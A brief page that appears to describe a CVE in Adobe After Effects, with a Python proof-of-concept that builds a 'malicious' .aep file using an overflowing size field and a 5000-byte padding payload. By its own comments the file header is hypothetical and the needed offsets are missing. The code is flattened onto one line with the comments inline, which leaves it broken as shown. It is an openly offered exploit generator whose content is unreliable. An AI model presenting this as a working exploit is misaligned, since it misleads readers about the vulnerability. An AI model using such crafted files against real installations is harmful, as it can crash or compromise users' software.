CVE-2026-34644 Adobe After Effects 整数溢出漏洞

import struct # Proof of Concept for CVE-2026-34644 (Integer Overflow in Adobe After Effects) # This script generates a malicious file structure to trigger the overflow. # Note: Actual exploitation requires specific offsets within the file format. def create_malicious_file(filename): with open(filename, 'wb') as f: # Write hypothetical file header f.write(b'AfterEffects') # Trigger Integer Overflow: 0xFFFFFFFF + 1 wraps to 0x00000000 # Simulating a size field that the application increments malicious_size = 0xFFFFFFFF f.write(struct.pack('<I', malicious_size)) # Payload data intended to overflow the allocated buffer # Assuming allocation happens based on the overflowed size payload = b'A' * 5000 f.write(payload) print(f"[+] Malicious file '{filename}' generated for testing purposes.") if __name__ == "__main__": create_malicious_file("cve_2026_34644_poc.aep")